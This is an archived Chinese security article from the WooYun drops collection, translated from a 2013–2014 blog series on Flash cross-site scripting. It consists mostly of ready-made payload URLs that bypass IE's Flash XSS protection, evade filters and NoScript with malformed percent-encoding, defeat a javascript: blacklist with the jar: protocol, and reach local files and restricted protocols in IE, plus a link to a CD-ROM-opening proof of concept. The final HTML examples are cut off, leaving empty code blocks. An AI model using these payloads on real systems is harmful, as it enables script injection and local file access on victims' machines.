# 一些你可能不知道的Flash XSS技巧
Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-02-19T02:16:00Z
Canonical: https://wepostx.com/topics/353
> 乌云历史资料归档
>
> **原始作者：** mramydnei
> **原始编号：** superkieran-wooyundrops:148
> **原始发布时间：** 2014-02-19 10:16
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**
---
## 0x00 前言
原文链接
[http://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-bypassing-the-guard ians-part-1/](http://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-bypassing-the-guard%20ians-part-1/)
[http://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl- and-jar-protocol/](http://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl-%20and-jar-protocol/)
[http://soroush.secproject.com/blog/2014/01/catch-up-on-flash-xss-exploitation-part-3-xss-by-embed ding-a-flash-file/](http://soroush.secproject.com/blog/2014/01/catch-up-on-flash-xss-exploitation-part-3-xss-by-embed%20ding-a-flash-file/)
可能在你打开这个博客的时候会有一丝的熟悉感。对,这就是那个发现 FCK 2.6.8 ASP 版二次上传漏洞的人。博主是个很有意思的人,经常会在通知厂商修复之前就在演讲稿子里或文章中放出一些危害比较大的 0day。如果你之前没有关注过这个人,也许在今后的日子里关注他会让你有一些意外的收获。
## 0x01 绕过IE对Flash XSS的保护机制
在经过一些小的测试后发现，似乎只有IE会对下面这种Flash XSS进行拦截。如果你用IE10打开下面的链接:
```text
http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
```
那么应该会在控制台（用F12来打开它）看到Access is denied的信息。如果你尝试用chrome,Firefox或opera来打开这个连接的话，不出预料小框应该会毫无阻碍的弹起来。
然后我想到了一个办法可以绕过IE的这种限制：
```text
http://0me.me/demo/xss/xssproject.swf?js=location.href='javascript:x=""'
```
URL中的“javascript:x="echo"”可以让我们在当前页面输出这个echo。而且我们可以向上面的例子那样包含一些HTML标签，进而绕过这种限制。
## 0x02 利用Flash的URL解码功能来绕过一些保护机制
如果你需要将你的vector发送到藏在防火墙的后面受害者（flashvars可以使用#来达到隐藏自己的目的）又或者想突破一些客户端的XSS防御机制这个方法将会十分的凑效。这一切都基于flash会丢弃一些被URL编码过的无效字符。
(1)flash会丢弃两个出现在%后面的无效十六进制字符（([^0-9a-fA-F])），比如：
```text
"%X" or "%="
```
(2)如果在%后面出现一个有效和一个非有效十六进制字符，就会丢弃三个字符，比如：
```text
"%AX" or "%A&"
```
#### 小记：有时候ASCII值大于127的一些字符会被转换成问号。当然这是发生在URL跳转的时候。除此之外，被编码过的BOM字符(“%EF%BB%BF”) 也可以用来替换空格。举个例子来说,我们可以把“alert(1)”写成“alert%EF%BB%BF(1)” 。
最后把这些都组合起来：
```text
http://0me.me/demo/xss/xssproject.swf?%#js=al%A#e%Xrt(docum%A#ent.doma%A#in); http://0me.me/demo/xss/xssproject.swf?%I%R%S%D%%Ljs=loca%Xtion.hr%Yef='jav%Zascri %AXpt:x="ale%AZrt(docu%?ment.dom%/ain)"'
```
成功了！我使用这个trick也绕过了noscript，不过这个漏洞已经在 2.6.6.8修复了。
## 0x03 真正的“勇士“jar协议
flash 会忽略 jar 协议并让它变成一个透明的协议。换句话来说 javascript:alert(1) 和 jar:javascript:alert(1) 在 actionscript 中是完全一样的。这意味着我们可以使用这个方法来绕 过一些黑名单的检测。让我们先举一个存在漏洞的例子:
```text
#!javascript varinput:String = root.loaderInfo.parameters.input; // input variable vardangerousInput:RegExp = /^\w\*script:.\*/i; // to cover javascript: and vbscript: protocols! if(!dangerousInput.test(input)) { // Safe to go?!!! --> No! What about "jar:javascript:"? navigateToURL(newURLRequest(input),"_self"); // redirection }
```
我们就可以使用先前提到的方法来绕过这个检测：
```text
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:javascript:alert(1);//
```
当然还有一个我认为是广为熟知的技巧,就是在 firefox 里使用 data URI。
## 0x04 使用“navigateToURL”来突破本地域的访问限制
在默认设置当中 flash 不会允许你去访问一些比较敏感的协议(通过 navigateToURL), 如:“File://” 或 “Ms-its:” 如果你直接尝试访问下面的链接:
```text
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=file://c:\
```
你就会收到这样的错误信息:
```text
SecurityError: Error #2148: SWF file http://0me.me/demo/xss/flash/link\_protocol\_test.swf?input=file://c:\ cannot access local resource file://c:\. Only local-with-filesystem and trusted local SWF files may access local resources. at global/flash.net::navigateToURL() at MethodInfo-1() at flash.events::EventDispatcher/dispatchEventFunction() at flash.events::EventDispatcher/dispatchEvent() at com.powerflasher.SampleApp::link\_protocol\_test()
```
我尝试着在chrome,firefox和IE中使用jar协议来绕过这一限制，但是我并没有在前两个浏览器中成功。这也就意味着这种方式只适用于IE。下面是一些bypass的例子:
利用 jar 协议访问 C 驱动器:
```text
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\
```
打开 C 驱动器中的某个文件:
```text
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\windows\Starter.xml
```
开启一些被限制的协议:
```text
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:shell:cookies http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:mk:@MSITStore:C:\Windows\Help\mui\0409\certmgr.CHM::/html/355962c2-4f6b-4cbd- ab00-6e7ee4dddc16.htm
```
利用其它的一些技巧来访问 C 驱动器:
```text
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=\\/c:/
```
### 那么一旦这些限制被突破后，又会给用户带来什么样的风险呢？
```text
1.被使用于一些敏感的本地文件探测（探测杀毒软件的类型和版本等等） 2.通过目录和文件来收集用户信息 3.使用drag and drop来劫持一些敏感的本地文件（我没有办法在这里给出一些给力的POC） 4.代替用户来执行一些危害较大的本地文件（html.,swf等等）。进而实现数据的盗取，远程代码执行或一些其它猥琐的事情。
```
最后再献上一个可以弹开你的CD-ROM的POC(测试于IE10)，就像一些老的病毒一样，试试看吧！
[http://0me.me/demo/xss/flash/open_cdrom.html](http://0me.me/demo/xss/flash/open_cdrom.html)
## 0x05 绕过flash沙箱
我们都知道navigateToURL和getUR在flash XSS当中都是一些很常用的手段。但是大前提就是我们需要一个allowScriptAccess来得到脚本访问的许可。下面我将演示如何在不使用allowScriptAccess前提下让脚本运行起来。但是在这之前我们先要了解一下，使用allowScriptAccess的方法应该是什么样的。
首先是flash中AS代码的部分，我将分别给出AS2和AS3的例子。
AS3:
```text
#!javascript navigateToURL(new URLRequest("javascript:alert(document.domain);"),"_self");
```
AS2：
```text
#!javascript getURL("javascript:alert(document.domain)","_self");
```
然后我们的HTML页面看上去，应该像这样：
```text
#!html
```
当然我们也可以试着让它变得更简短一些：
```text
#!html